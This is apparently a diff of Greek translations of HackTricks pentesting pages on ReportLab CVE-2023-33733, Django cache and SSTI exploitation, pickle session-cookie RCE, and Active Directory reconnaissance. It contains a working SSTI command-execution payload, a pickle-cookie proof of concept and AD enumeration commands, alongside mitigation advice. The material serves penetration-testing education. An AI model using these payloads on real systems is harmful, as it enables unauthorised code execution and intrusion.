- Quoting: Διατηρήστε τις εντολές συμπαγείς. Οι two-stage downloads μειώνουν δραστικά τα προβλήματα quoting και escaping.
|
||||
- Reliability: Αν τα exports είναι cached ή queued, παραλλάξτε ελαφρώς το payload (π.χ., τυχαίο path ή query) για να αποφύγετε cache hits.
|
||||
|
||||
Mitigations and detection
|
||||
- Αναβαθμίστε το ReportLab στην 3.6.13 ή νεότερη (CVE-2023-33733 fixed). Παρακολουθείτε επίσης advisories ασφαλείας σε πακέτα διανομής.
|
||||
- Μην δίνετε user-controlled HTML/markup απευθείας σε xhtml2pdf/ReportLab χωρίς αυστηρό sanitization. Αφαιρέστε/απορρίψτε την αξιολόγηση [[[...]]] και vendor-specific tags όταν το input δεν είναι αξιόπιστο.
|
||||
- Σκεφτείτε να απενεργοποιήσετε ή να τυλίξετε πλήρως τη χρήση του rl_safe_eval για μη αξιόπιστα inputs.
|
||||
- Παρακολουθήστε για ύποπτες εξερχόμενες συνδέσεις κατά τη δημιουργία PDF (π.χ., ICMP/HTTP από servers εφαρμογής κατά την εξαγωγή εγγράφων).
|
||||
Αντιμετώπιση και ανίχνευση
|
||||
- Αναβαθμίστε το ReportLab στην 3.6.13 ή μεταγενέστερη (CVE-2023-33733 διορθώθηκε). Παρακολουθείτε επίσης security advisories στα distro πακέτα.
|
||||
- Μην περνάτε HTML/markup ελεγχόμενο από χρήστη απευθείας σε xhtml2pdf/ReportLab χωρίς αυστηρό sanitization. Αφαιρέστε/απορρίψτε την αξιολόγηση [[[...]]] και vendor-specific tags όταν το input δεν είναι έμπιστο.
|
||||
- Σκεφτείτε να απενεργοποιήσετε ή να τυλίξετε εντελώς τη χρήση του rl_safe_eval για μη αξιόπιστα inputs.
|
||||
- Παρακολουθήστε για ύποπτες εξερχόμενες συνδέσεις κατά τη δημιουργία PDF (π.χ., ICMP/HTTP από app servers κατά το export εγγράφων).
|
||||
|
||||
References
|
||||
- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
|
||||
- 0xdf University HTB write-up (πραγματική εκμετάλλευση, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||||
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||||
- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
|
||||
- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
|
||||
|
||||
|
@ -3,9 +3,9 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cache Manipulation to RCE
|
||||
Η προεπιλεγμένη μέθοδος αποθήκευσης της cache στο Django είναι τα [Python pickles](https://docs.python.org/3/library/pickle.html), τα οποία μπορούν να οδηγήσουν σε RCE αν [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server**.
|
||||
Η προεπιλεγμένη μέθοδος αποθήκευσης της cache του Django είναι [Python pickles](https://docs.python.org/3/library/pickle.html), η οποία μπορεί να οδηγήσει σε RCE εάν [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server**.
|
||||
|
||||
Η cache του Django αποθηκεύεται σε ένα από τέσσερα σημεία: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ή μια [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Η cache που είναι αποθηκευμένη σε Redis server ή σε database αποτελεί τα πιο πιθανά σημεία επίθεσης (Redis injection και SQL injection), αλλά ένας attacker μπορεί επίσης να χρησιμοποιήσει file-based cache για να μετατρέψει ένα arbitrary write σε RCE. Οι maintainers έχουν χαρακτηρίσει αυτό ως non-issue. Είναι σημαντικό να σημειωθεί ότι ο φάκελος των cache files, το όνομα του SQL table, και οι λεπτομέρειες του Redis server θα διαφέρουν ανάλογα με την υλοποίηση.
|
||||
Η cache του Django αποθηκεύεται σε ένα από τέσσερα μέρη: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ή μια [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Η cache που αποθηκεύεται σε Redis server ή database είναι οι πιο πιθανές επιθέσεις (Redis injection και SQL injection), αλλά ένας attacker μπορεί επίσης να χρησιμοποιήσει file-based cache για να μετατρέψει μια arbitrary εγγραφή σε RCE. Οι maintainers έχουν χαρακτηρίσει αυτό ως μη-ζήτημα. Είναι σημαντικό να σημειωθεί ότι ο φάκελος αρχείων της cache, το όνομα του SQL table και οι λεπτομέρειες του Redis server θα διαφέρουν ανάλογα με την υλοποίηση.
|
||||
|
||||
This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436
|
||||
|
||||
@ -15,8 +15,8 @@ This HackerOne report provides a great, reproducible example of exploiting Djang
|
||||
The Django Template Language (DTL) is **Turing-complete**. If user-supplied data is rendered as a *template string* (for example by calling `Template(user_input).render()` or when `|safe`/`format_html()` removes auto-escaping), an attacker may achieve full SSTI → RCE.
|
||||
|
||||
### Detection
|
||||
1. Look for dynamic calls to `Template()` / `Engine.from_string()` / `render_to_string()` that include *any* unsanitised request data.
|
||||
2. Send a time-based or arithmetic payload:
|
||||
1. Ψάξτε για δυναμικές κλήσεις σε `Template()` / `Engine.from_string()` / `render_to_string()` που περιλαμβάνουν *οποιαδήποτε* unsanitised request data.
|
||||
2. Στείλτε ένα time-based ή arithmetic payload:
|
||||
```django
|
||||
{{7*7}}
|
||||
```
|
||||
@ -27,18 +27,18 @@ Django blocks direct access to `__import__`, but the Python object graph is reac
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()}}
|
||||
```
|
||||
Βρείτε το index του `subprocess.Popen` (≈400–500 ανάλογα με το build του Python) και εκτελέστε αυθαίρετες εντολές:
|
||||
Βρείτε τον δείκτη του `subprocess.Popen` (≈400–500 ανάλογα με το build του Python) και εκτελέστε αυθαίρετες εντολές:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||||
```
|
||||
Ένα πιο ασφαλές καθολικό gadget είναι να επαναλαμβάνετε μέχρι `cls.__name__ == 'Popen'`.
|
||||
Ένα πιο ασφαλές καθολικό gadget είναι να επαναλαμβάνετε μέχρι το `cls.__name__ == 'Popen'`.
|
||||
|
||||
Το ίδιο gadget λειτουργεί για τις δυνατότητες template rendering του **Debug Toolbar** ή του **Django-CMS** που χειρίζονται εσφαλμένα την είσοδο χρήστη.
|
||||
Το ίδιο gadget λειτουργεί για τις δυνατότητες rendering των template του **Debug Toolbar** ή του **Django-CMS** που χειρίζονται λανθασμένα την είσοδο χρήστη.
|
||||
|
||||
---
|
||||
|
||||
### Δείτε επίσης: ReportLab/xhtml2pdf PDF export RCE
|
||||
Εφαρμογές που βασίζονται σε Django συχνά ενσωματώνουν xhtml2pdf/ReportLab για να εξάγουν views ως PDF. Όταν HTML υπό έλεγχο χρήστη περνάει στη δημιουργία PDF, rl_safe_eval μπορεί να αξιολογήσει εκφράσεις μέσα σε τριπλές αγκύλες `[[[ ... ]]]`, επιτρέποντας εκτέλεση κώδικα (CVE-2023-33733). Λεπτομέρειες, payloads και mitigations:
|
||||
Εφαρμογές που βασίζονται στο Django συνήθως ενσωματώνουν xhtml2pdf/ReportLab για εξαγωγή views ως PDF. Όταν HTML υπό έλεγχο χρήστη ρέει στη δημιουργία PDF, το rl_safe_eval μπορεί να αξιολογήσει εκφράσεις μέσα σε triple brackets `[[[ ... ]]]`, επιτρέποντας εκτέλεση κώδικα (CVE-2023-33733). Λεπτομέρειες, payloads, και mitigations:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
@ -46,12 +46,12 @@ Django blocks direct access to `__import__`, but the Python object graph is reac
|
||||
|
||||
---
|
||||
|
||||
## RCE σε Session Cookie με Pickle
|
||||
Αν η ρύθμιση `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` είναι ενεργοποιημένη (ή υπάρχει custom serializer που απο-σειριοποιεί pickle), το Django *αποκρυπτογραφεί και unpickles* το session cookie **πριν** καλέσει οποιονδήποτε κώδικα view. Επομένως, η κατοχή ενός έγκυρου signing key (το project `SECRET_KEY` εξ ορισμού) είναι αρκετή για άμεση απομακρυσμένη εκτέλεση κώδικα.
|
||||
## Pickle-Backed Session Cookie RCE
|
||||
Εάν η ρύθμιση `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` είναι ενεργή (ή χρησιμοποιείται ένας custom serializer που απο-σειριοποιεί pickle), το Django *decrypts and unpickles* το session cookie **πριν** καλέσει οποιονδήποτε κώδικα view. Επομένως, η κατοχή ενός έγκυρου signing key (από προεπιλογή το project `SECRET_KEY`) αρκεί για άμεση remote code execution.
|
||||
|
||||
### Απαιτήσεις Exploit
|
||||
### Exploit Requirements
|
||||
* Ο server χρησιμοποιεί `PickleSerializer`.
|
||||
* Ο επιτιθέμενος γνωρίζει / μπορεί να μαντέψει το `settings.SECRET_KEY` (leaks via GitHub, `.env`, σελίδες σφαλμάτων, κ.λπ.).
|
||||
* Ο επιτιθέμενος γνωρίζει / μπορεί να μαντέψει το `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, κ.λπ.).
|
||||
|
||||
### Proof-of-Concept
|
||||
```python
|
||||
@ -67,23 +67,23 @@ return (os.system, ("id > /tmp/pwned",))
|
||||
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
|
||||
print(f"sessionid={mal}")
|
||||
```
|
||||
Στείλτε το προκύπτον cookie — το payload θα εκτελεστεί με τα δικαιώματα του WSGI worker.
|
||||
Στείλτε το προκύπτον cookie, και το payload εκτελείται με τα δικαιώματα του WSGI worker.
|
||||
|
||||
**Μέτρα μετριασμού**: Κρατήστε τον προεπιλεγμένο `JSONSerializer`, ανανεώστε το `SECRET_KEY`, και ρυθμίστε το `SESSION_COOKIE_HTTPONLY`.
|
||||
**Μέτρα αντιμετώπισης**: Διατηρήστε τον προεπιλεγμένο `JSONSerializer`, ανανεώστε το `SECRET_KEY`, και ρυθμίστε το `SESSION_COOKIE_HTTPONLY`.
|
||||
|
||||
---
|
||||
|
||||
## Πρόσφατες (2023-2025) CVE υψηλής σημασίας του Django που πρέπει να ελέγξουν οι Pentesters
|
||||
* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (διορθώθηκε 4 Ιουνίου 2025). Επιτρέπει σε επιτιθέμενους να εισάγουν newlines/ANSI codes σε αρχεία καταγραφής και να μολύνουν τις επόμενες αναλύσεις καταγραφών. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Δημιουργήστε κλειδιά JSON που παραβιάζουν τα εισαγωγικά και εκτελούν αυθαίρετο SQL. Διορθώθηκε στις εκδόσεις 4.2.15 / 5.0.8.
|
||||
## Πρόσφατες (2023-2025) CVEs του Django υψηλού αντίκτυπου που θα πρέπει να ελέγξουν οι Pentesters
|
||||
* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (fixed June 4 2025). Επιτρέπει σε επιτιθέμενους να εισάγουν newlines/ANSI codes σε log files και να μολύνουν downstream log analysis. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Craft JSON keys to break out of quoting and execute arbitrary SQL. Fixed in 4.2.15 / 5.0.8.
|
||||
|
||||
Πάντα κάντε fingerprint την ακριβή έκδοση του framework μέσω της σελίδας σφάλματος `X-Frame-Options` ή του hash του `/static/admin/css/base.css` και δοκιμάστε τα παραπάνω όπου εφαρμόζεται.
|
||||
Πάντα κάντε fingerprint της ακριβούς έκδοσης του framework μέσω της σελίδας σφάλματος `X-Frame-Options` ή του hash του `/static/admin/css/base.css` και δοκιμάστε τα παραπάνω όπου εφαρμόζεται.
|
||||
|
||||
---
|
||||
|
||||
## Αναφορές
|
||||
* Έκδοση ασφάλειας Django – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Ιουνίου 2025.
|
||||
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Αυγούστου 2024.
|
||||
* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
|
||||
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
|
||||
* 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,55 +4,55 @@
|
||||
|
||||
## Βασική επισκόπηση
|
||||
|
||||
**Active Directory** λειτουργεί ως θεμελιώδης τεχνολογία, επιτρέποντας στους **network administrators** να δημιουργούν και να διαχειρίζονται αποτελεσματικά **domains**, **users**, και **objects** μέσα σε ένα δίκτυο. Έχει σχεδιαστεί για να κλιμακώνεται, διευκολύνοντας την οργάνωση μεγάλου αριθμού χρηστών σε διαχειρίσιμες **groups** και **subgroups**, ενώ ελέγχει τα **access rights** σε διάφορα επίπεδα.
|
||||
**Active Directory** λειτουργεί ως θεμελιώδης τεχνολογία, επιτρέποντας σε **διαχειριστές δικτύου** να δημιουργούν και να διαχειρίζονται αποδοτικά **domains**, **users** και **objects** μέσα σε ένα δίκτυο. Έχει σχεδιαστεί για κλιμάκωση, διευκολύνοντας την οργάνωση ενός μεγάλου αριθμού χρηστών σε διαχειρίσιμες **groups** και **subgroups**, ενώ ελέγχει τα **access rights** σε διάφορα επίπεδα.
|
||||
|
||||
Η δομή του **Active Directory** αποτελείται από τρία κύρια επίπεδα: **domains**, **trees**, και **forests**. Ένα **domain** περιλαμβάνει μια συλλογή αντικειμένων, όπως **users** ή **devices**, που μοιράζονται μια κοινή βάση δεδομένων. Τα **trees** είναι ομάδες αυτών των domains που συνδέονται με κοινή δομή, και ένα **forest** αντιπροσωπεύει τη συλλογή πολλαπλών trees, διασυνδεδεμένων μέσω **trust relationships**, σχηματίζοντας το ανώτατο επίπεδο της οργανωτικής δομής. Συγκεκριμένα **access** και **communication rights** μπορούν να οριστούν σε κάθε ένα από αυτά τα επίπεδα.
|
||||
Η δομή του **Active Directory** αποτελείται από τρία κύρια επίπεδα: **domains**, **trees**, και **forests**. Ένα **domain** περιλαμβάνει μια συλλογή αντικειμένων, όπως **users** ή **devices**, που μοιράζονται μια κοινή βάση δεδομένων. Τα **trees** είναι ομάδες αυτών των domains συνδεδεμένες με κοινή δομή, και ένα **forest** αντιπροσωπεύει τη συλλογή πολλαπλών trees, διασυνδεδεμένων μέσω **trust relationships**, σχηματίζοντας το ανώτατο επίπεδο της οργανωτικής δομής. Στο καθένα από αυτά τα επίπεδα μπορούν να οριστούν ειδικά δικαιώματα **access** και **communication rights**.
|
||||
|
||||
Κύριες έννοιες εντός του **Active Directory** περιλαμβάνουν:
|
||||
Κύριες έννοιες μέσα στο **Active Directory** περιλαμβάνουν:
|
||||
|
||||
1. **Directory** – Περιέχει όλες τις πληροφορίες που αφορούν τα αντικείμενα του Active Directory.
|
||||
2. **Object** – Αναφέρεται σε οντότητες μέσα στο directory, συμπεριλαμβανομένων **users**, **groups**, ή **shared folders**.
|
||||
3. **Domain** – Λειτουργεί ως container για directory objects, με τη δυνατότητα πολλαπλά domains να συνυπάρχουν μέσα σε ένα **forest**, το καθένα διατηρώντας τη δική του συλλογή αντικειμένων.
|
||||
1. **Directory** – Φιλοξενεί όλες τις πληροφορίες που αφορούν τα Active Directory objects.
|
||||
2. **Object** – Δείχνει οντότητες μέσα στον directory, συμπεριλαμβανομένων **users**, **groups**, ή **shared folders**.
|
||||
3. **Domain** – Υπηρετεί ως container για directory objects, με τη δυνατότητα πολλαπλά domains να συνυπάρχουν μέσα σε ένα **forest**, το καθένα διατηρώντας τη δική του συλλογή αντικειμένων.
|
||||
4. **Tree** – Ομαδοποίηση domains που μοιράζονται ένα κοινό root domain.
|
||||
5. **Forest** – Η κορυφή της οργανωτικής δομής στο Active Directory, απαρτιζόμενη από διάφορα trees με **trust relationships** μεταξύ τους.
|
||||
5. **Forest** – Η κορυφή της οργανωτικής δομής στο Active Directory, αποτελούμενη από αρκετά trees με **trust relationships** μεταξύ τους.
|
||||
|
||||
Το **Active Directory Domain Services (AD DS)** περιλαμβάνει ένα σύνολο υπηρεσιών κρίσιμων για την κεντρική διαχείριση και επικοινωνία μέσα σε ένα δίκτυο. Αυτές οι υπηρεσίες περιλαμβάνουν:
|
||||
**Active Directory Domain Services (AD DS)** περιλαμβάνει ένα σύνολο υπηρεσιών κρίσιμων για την κεντρική διαχείριση και την επικοινωνία μέσα σε ένα δίκτυο. Αυτές οι υπηρεσίες περιλαμβάνουν:
|
||||
|
||||
1. **Domain Services** – Κεντρική αποθήκευση δεδομένων και διαχείριση των αλληλεπιδράσεων μεταξύ **users** και **domains**, συμπεριλαμβανομένων των **authentication** και **search** λειτουργιών.
|
||||
1. **Domain Services** – Κεντρικοποιεί την αποθήκευση δεδομένων και διαχειρίζεται τις αλληλεπιδράσεις μεταξύ **users** και **domains**, συμπεριλαμβανομένων των λειτουργιών **authentication** και **search**.
|
||||
2. **Certificate Services** – Επιβλέπει τη δημιουργία, διανομή και διαχείριση ασφαλών **digital certificates**.
|
||||
3. **Lightweight Directory Services** – Υποστηρίζει directory-enabled εφαρμογές μέσω του **LDAP protocol**.
|
||||
4. **Directory Federation Services** – Παρέχει **single-sign-on** δυνατότητες για την authentication χρηστών σε πολλαπλές web εφαρμογές σε μία συνεδρία.
|
||||
5. **Rights Management** – Βοηθά στην προστασία υλικού πνευματικών δικαιωμάτων ρυθμίζοντας τη μη εξουσιοδοτημένη διανομή και χρήση του.
|
||||
3. **Lightweight Directory Services** – Υποστηρίζει εφαρμογές που αξιοποιούν directory μέσω του **LDAP protocol**.
|
||||
4. **Directory Federation Services** – Παρέχει δυνατότητες **single-sign-on** για την πιστοποίηση χρηστών σε πολλαπλές web εφαρμογές σε μια ενιαία συνεδρία.
|
||||
5. **Rights Management** – Βοηθά στην προστασία υλικού που διέπεται από πνευματικά δικαιώματα, ρυθμίζοντας τη μη εξουσιοδοτημένη διανομή και χρήση.
|
||||
6. **DNS Service** – Κρίσιμο για την επίλυση **domain names**.
|
||||
|
||||
For a more detailed explanation check: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
|
||||
Για περισσότερη ανάλυση δείτε: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
|
||||
|
||||
### **Kerberos Authentication**
|
||||
|
||||
To learn how to **attack an AD** you need to **understand** really good the **Kerberos authentication process**.\
|
||||
Για να μάθετε πώς να **επιτίθεστε σε ένα AD** χρειάζεται να κατανοήσετε πολύ καλά τη διαδικασία **Kerberos authentication**.\
|
||||
[**Read this page if you still don't know how it works.**](kerberos-authentication.md)
|
||||
|
||||
## Συνοπτικός οδηγός
|
||||
## Cheat Sheet
|
||||
|
||||
You can take a lot to [https://wadcoms.github.io/](https://wadcoms.github.io) to have a quick view of which commands you can run to enumerate/exploit an AD.
|
||||
Μπορείτε να ρίξετε μια ματιά στο [https://wadcoms.github.io/](https://wadcoms.github.io) για μια γρήγορη εικόνα των εντολών που μπορείτε να εκτελέσετε για να enumerate/exploit ένα AD.
|
||||
|
||||
> [!WARNING]
|
||||
> Kerberos communication **requires a full qualifid name (FQDN)** for performing actions. If you try to access a machine by the IP address, **it'll use NTLM and not kerberos**.
|
||||
|
||||
## Recon Active Directory (No creds/sessions)
|
||||
|
||||
Αν έχετε πρόσβαση σε ένα AD περιβάλλον αλλά δεν έχετε credentials/sessions μπορείτε να:
|
||||
Αν έχετε μόνο πρόσβαση σε ένα περιβάλλον AD αλλά δεν έχετε credentials/sessions, μπορείτε:
|
||||
|
||||
- **Pentest the network:**
|
||||
- Σαρώστε το δίκτυο, εντοπίστε μηχανήματα και ανοιχτές θύρες και προσπαθήστε να **exploit vulnerabilities** ή να **extract credentials** από αυτά (για παράδειγμα, [printers could be very interesting targets](ad-information-in-printers.md).
|
||||
- Η enumerating DNS μπορεί να δώσει πληροφορίες σχετικά με βασικούς servers στο domain όπως web, printers, shares, vpn, media, κ.λπ.
|
||||
- Σκανάρετε το δίκτυο, βρείτε μηχανήματα και ανοιχτές θύρες και προσπαθήστε να **exploit vulnerabilities** ή να **extract credentials** από αυτά (π.χ. [printers could be very interesting targets](ad-information-in-printers.md)).
|
||||
- Η απογραφή του DNS μπορεί να δώσει πληροφορίες για βασικούς servers στο domain όπως web, printers, shares, vpn, media κ.λπ.
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- Ρίξτε μια ματιά στην Γενική [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) για περισσότερες πληροφορίες σχετικά με το πώς να το κάνετε.
|
||||
- **Check for null and Guest access on smb services** (this won't work on modern Windows versions):
|
||||
- Ρίξτε μια ματιά στη Γενική [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) για περισσότερες πληροφορίες σχετικά με το πώς να το κάνετε αυτό.
|
||||
- **Check for null and Guest access on smb services** (αυτό δεν θα δουλέψει σε σύγχρονες εκδόσεις Windows):
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
|
||||
- A more detailed guide on how to enumerate a SMB server can be found here:
|
||||
- Ένας πιο λεπτομερής οδηγός για το πώς να enumerate έναν SMB server μπορεί να βρεθεί εδώ:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -61,7 +61,7 @@ You can take a lot to [https://wadcoms.github.io/](https://wadcoms.github.io) to
|
||||
|
||||
- **Enumerate Ldap**
|
||||
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
|
||||
- A more detailed guide on how to enumerate LDAP can be found here (pay **special attention to the anonymous access**):
|
||||
- Ένας πιο λεπτομερής οδηγός για το πώς να enumerate LDAP μπορεί να βρεθεί εδώ (δώστε **ειδική προσοχή στην anonymous access**):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -69,21 +69,21 @@ You can take a lot to [https://wadcoms.github.io/](https://wadcoms.github.io) to
|
||||
{{#endref}}
|
||||
|
||||
- **Poison the network**
|
||||
- Συλλέξτε credentials **impersonating services with Responder** (../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- Πρόσβαση σε host by [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- Συλλέξτε credentials [**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- Πρόσβαση σε host εκμεταλλευόμενοι [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
|
||||
- Συλλέξτε credentials **exposing** [**fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
|
||||
- Εξάγετε usernames/ονοματεπώνυμα από εσωτερικά έγγραφα, social media, υπηρεσίες (κυρίως web) μέσα στο domain περιβάλλον και επίσης από δημόσια διαθέσιμες πηγές.
|
||||
- Αν βρείτε τα πλήρη ονόματα εργαζομένων της εταιρείας, μπορείτε να δοκιμάσετε διαφορετικές AD **username conventions** ([**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Οι πιο κοινές συμβάσεις είναι: _NameSurname_, _Name.Surname_, _NamSur_ (3letters of each), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123).
|
||||
- Tools:
|
||||
- Εξαγάγετε usernames/ονόματα από εσωτερικά έγγραφα, social media, υπηρεσίες (κυρίως web) εντός του domain περιβάλλοντος και επίσης από δημόσια διαθέσιμα.
|
||||
- Αν βρείτε τα πλήρη ονόματα εργαζομένων της εταιρείας, μπορείτε να δοκιμάσετε διάφορες AD **username conventions (**[**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Οι πιο κοινές συμβάσεις είναι: _NameSurname_, _Name.Surname_, _NamSur_ (3 γράμματα από κάθε), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123).
|
||||
- Εργαλεία:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
|
||||
### User enumeration
|
||||
### Απαρίθμηση χρηστών
|
||||
|
||||
- **Anonymous SMB/LDAP enum:** Check the [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) and [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) pages.
|
||||
- **Kerbrute enum**: When an **invalid username is requested** the server will respond using the **Kerberos error** code _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, allowing us to determine that the username was invalid. **Valid usernames** will illicit either the **TGT in a AS-REP** response or the error _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicating that the user is required to perform pre-authentication.
|
||||
- **No Authentication against MS-NRPC**: Using auth-level = 1 (No authentication) against the MS-NRPC (Netlogon) interface on domain controllers. The method calls the `DsrGetDcNameEx2` function after binding MS-NRPC interface to check if the user or computer exists without any credentials. The [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) tool implements this type of enumeration. The research can be found [here](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
|
||||
- **Anonymous SMB/LDAP enum:** Δείτε τις σελίδες [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) και [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
|
||||
- **Kerbrute enum**: Όταν ζητείται ένα **invalid username** ο server θα απαντήσει χρησιμοποιώντας τον **Kerberos error** κωδικό _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, επιτρέποντάς μας να προσδιορίσουμε ότι το username ήταν άκυρο. **Valid usernames** θα προκαλέσουν είτε το **TGT σε ένα AS-REP** response είτε το σφάλμα _KRB5KDC_ERR_PREAUTH_REQUIRED_, υποδεικνύοντας ότι ο χρήστης απαιτείται να εκτελέσει pre-authentication.
|
||||
- **No Authentication against MS-NRPC**: Χρησιμοποιώντας auth-level = 1 (No authentication) απέναντι στην MS-NRPC (Netlogon) διεπαφή στους domain controllers. Η μέθοδος καλεί τη συνάρτηση `DsrGetDcNameEx2` μετά το binding της MS-NRPC διεπαφής για να ελέγξει αν ο χρήστης ή ο υπολογιστής υπάρχει χωρίς οποιαδήποτε credentials. Το εργαλείο [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) υλοποιεί αυτόν τον τύπο enumeration. Η έρευνα βρίσκεται [εδώ](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
|
||||
```bash
|
||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
||||
|
||||
@ -97,7 +97,7 @@ python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/Nau
|
||||
```
|
||||
- **OWA (Outlook Web Access) Διακομιστής**
|
||||
|
||||
